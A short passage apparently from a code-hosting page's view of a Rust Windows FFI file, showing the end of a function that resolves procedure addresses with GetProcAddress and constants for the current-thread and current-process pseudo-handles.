GetProcAddress(h, name.as_ptr()).map(|f| f as *mut c_void)
|
||||
}
|
||||
}
|
||||
|
||||
/// Current pseudo-handle (-2 == current thread, -1 == current process).
|
||||
pub const CURRENT_THREAD: HANDLE = -2isize as HANDLE;
|
||||
pub const CURRENT_PROCESS: HANDLE = -1isize as HANDLE;
|
||||
Reference in New Issue
Block a user